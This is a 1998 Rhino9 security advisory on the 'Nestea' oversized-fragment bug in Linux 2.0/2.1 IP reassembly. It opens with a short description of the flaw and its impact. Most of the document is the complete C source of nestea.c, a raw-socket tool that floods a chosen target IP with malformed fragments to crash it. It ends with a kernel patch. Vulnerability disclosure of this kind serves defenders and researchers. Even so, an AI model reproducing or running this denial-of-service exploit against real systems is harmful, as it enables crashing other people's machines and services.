home *** CD-ROM | disk | FTP | other *** search
- Nestea Vulnerability (Linux Oversized Fragment Vulnerability)
-
- Written by humble
-
- SYSTEMS AFFECTED
-
- Linux 2.1.x and 2.0.x and certain Windows machines (still testing, succesfully
- dropped a WinNT box running Service Pack3.)
-
- PROBLEM
-
- There is a certain function (ip_glue) in the linux kernel that attempts to
- reassemble a fragmented datagram before passing it up to the upper layers of
- the ip stack. This function will determine if any particular fragment goes past
- the allocated memory for the total buffer or has been miscalculated due to
- errors or oversights in the initial assembly code. The comparison statement in
- the linux kernels forgot to take into account the size of the ip header. Since an
- ip header can reach up to 60 bytes, an attacker is able to write over 60 bytes
- in the kernel, and probably cause a system crash.
-
- IMPACT
-
- This will overwrite important data structures in the kernel network code and
- cause the kernel to get very confused. This will lead to a system crash or a
- situation such a system that must be rebooted.
-
- EXPLOIT
-
- // nestea.c by humble of rhino9 4/16/98
- // This exploits the "off by one ip header" bug in the linux ip frag code.
- // Crashes linux 2.0.* and 2.1.* and some windows boxes
- // this code is a total rip of teardrop - it's messy
- // hi sygma
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/udp.h>
- #include <arpa/inet.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/socket.h>
-
- // bsd usage is currently broken because of socket options on the third sendto
-
- #ifdef STRANGE_BSD_BYTE_ORDERING_THING
- /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
- #define FIX(n) (n)
- #else /* OpenBSD 2.1, all Linux */
- #define FIX(n) htons(n)
- #endif /* STRANGE_BSD_BYTE_ORDERING_THING */
-
- #define IP_MF 0x2000 /* More IP fragment en route */
- #define IPH 0x14 /* IP header size */
- #define UDPH 0x8 /* UDP header size */
- #define MAGIC2 108
- #define PADDING 256 /* datagram frame padding for first packet */
- #define COUNT 500 /* we are overwriting a small number of bytes we
- shouldnt have access to in the kernel.
- to be safe, we should hit them till they die :> */
-
- void usage(u_char *);
- u_long name_resolve(u_char *);
- u_short in_cksum(u_short *, int);
- void send_frags(int, u_long, u_long, u_short, u_short);
-
- int main(int argc, char **argv)
- {
- int one = 1, count = 0, i, rip_sock;
- u_long src_ip = 0, dst_ip = 0;
- u_short src_prt = 0, dst_prt = 0;
- struct in_addr addr;
-
-
- if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
- {
- perror("raw socket");
- exit(1);
- }
- if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
- < 0)
- {
- perror("IP_HDRINCL");
- exit(1);
- }
- if (argc < 3) usage(argv[0]);
- if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
- {
- fprintf(stderr, "What the hell kind of IP address is that?\n");
- exit(1);
- }
-
- while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
- {
- switch (i)
- {
- case 's': /* source port (should be emphemeral) */
- src_prt = (u_short)atoi(optarg);
- break;
- case 't': /* dest port (DNS, anyone?) */
- dst_prt = (u_short)atoi(optarg);
- break;
- case 'n': /* number to send */
- count = atoi(optarg);
- break;
- default :
- usage(argv[0]);
- break; /* NOTREACHED */
- }
- }
- srandom((unsigned)(time((time_t)0)));
- if (!src_prt) src_prt = (random() % 0xffff);
- if (!dst_prt) dst_prt = (random() % 0xffff);
- if (!count) count = COUNT;
-
- fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
- fprintf(stderr, "Death on flaxen wings (yet again):\n");
- addr.s_addr = src_ip;
- fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
- addr.s_addr = dst_ip;
- fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
- fprintf(stderr, " Amt: %5d\n", count);
- fprintf(stderr, "[ ");
-
- for (i = 0; i < count; i++)
- {
- send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
- fprintf(stderr, "b00m ");
- usleep(500);
- }
- fprintf(stderr, "]\n");
- return (0);
- }
-
- void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
- u_short dst_prt)
- {
- int i;
- u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
- u_char byte; /* a byte */
- struct sockaddr_in sin; /* socket protocol structure */
-
- sin.sin_family = AF_INET;
- sin.sin_port = src_prt;
- sin.sin_addr.s_addr = dst_ip;
-
- packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
- p_ptr = packet;
- bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
-
- byte = 0x45; /* IP version and header length */
- memcpy(p_ptr, &byte, sizeof(u_char));
- p_ptr += 2; /* IP TOS (skipped) */
- *((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(242); /* IP id */
- p_ptr += 2;
- *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
- p_ptr += 2;
- *((u_short *)p_ptr) = 0x40; /* IP TTL */
- byte = IPPROTO_UDP;
- memcpy(p_ptr + 1, &byte, sizeof(u_char));
- p_ptr += 4; /* IP checksum filled in by kernel */
- *((u_long *)p_ptr) = src_ip; /* IP source address */
- p_ptr += 4;
- *((u_long *)p_ptr) = dst_ip; /* IP destination address */
- p_ptr += 4;
- *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
-
- if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
- sizeof(struct sockaddr)) == -1)
- {
- perror("\nsendto");
- free(packet);
- exit(1);
- }
-
- p_ptr = packet;
- bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
-
- byte = 0x45; /* IP version and header length */
- memcpy(p_ptr, &byte, sizeof(u_char));
- p_ptr += 2; /* IP TOS (skipped) */
- *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(242); /* IP id */
- p_ptr += 2;
- *((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
- p_ptr += 2;
- *((u_short *)p_ptr) = 0x40; /* IP TTL */
- byte = IPPROTO_UDP;
- memcpy(p_ptr + 1, &byte, sizeof(u_char));
- p_ptr += 4; /* IP checksum filled in by kernel */
- *((u_long *)p_ptr) = src_ip; /* IP source address */
- p_ptr += 4;
- *((u_long *)p_ptr) = dst_ip; /* IP destination address */
- p_ptr += 4;
- *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
-
- if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
- sizeof(struct sockaddr)) == -1)
- {
- perror("\nsendto");
- free(packet);
- exit(1);
- }
-
- p_ptr = packet;
- bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
- byte = 0x4F; /* IP version and header length */
- memcpy(p_ptr, &byte, sizeof(u_char));
- p_ptr += 2; /* IP TOS (skipped) */
- *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(242); /* IP id */
- p_ptr += 2;
- *((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
- p_ptr += 2;
- *((u_short *)p_ptr) = 0x40; /* IP TTL */
- byte = IPPROTO_UDP;
- memcpy(p_ptr + 1, &byte, sizeof(u_char));
- p_ptr += 4; /* IP checksum filled in by kernel */
- *((u_long *)p_ptr) = src_ip; /* IP source address */
- p_ptr += 4;
- *((u_long *)p_ptr) = dst_ip; /* IP destination address */
- p_ptr += 44;
- *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
- p_ptr += 2;
- *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
-
- for(i=0;i<PADDING;i++)
- {
- p_ptr[i++]=random()%255;
- }
-
- if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
- sizeof(struct sockaddr)) == -1)
- {
- perror("\nsendto");
- free(packet);
- exit(1);
- }
- free(packet);
- }
-
- u_long name_resolve(u_char *host_name)
- {
- struct in_addr addr;
- struct hostent *host_ent;
-
- if ((addr.s_addr = inet_addr(host_name)) == -1)
- {
- if (!(host_ent = gethostbyname(host_name))) return (0);
- bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
- }
- return (addr.s_addr);
- }
-
- void usage(u_char *name)
- {
- fprintf(stderr,
- "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
- name);
- exit(0);
- }
-
- SOLUTION
-
- Apply the following patch to icmp_fragment.c in your
- kernel (fixes for Windows not yet determined).
-
- (Patch from Alan Cox)
-
- --- ip_fragment.c.old Thu Apr 16 12:25:34 1998
- +++ ip_fragment.c Thu Apr 16 12:29:02 1998
- @@ -375,7 +375,7 @@
- fp = qp->fragments;
- while(fp != NULL)
- {
- - if (fp->len < 0 || count+fp->len > skb->len)
- + if (fp->len < 0 || fp->offset+qp->ihlen+fp->len >
- skb->len)
- {
- NETDEBUG(printk("Invalid fragment list: Fragment over
- size.\n"));
- ip_free(qp);
-
- The contents of this advisory are Copyright (c) 1998 the
- Rhino9 security research team, this document may be
- distributed freely, as long as proper credit is given.
-
-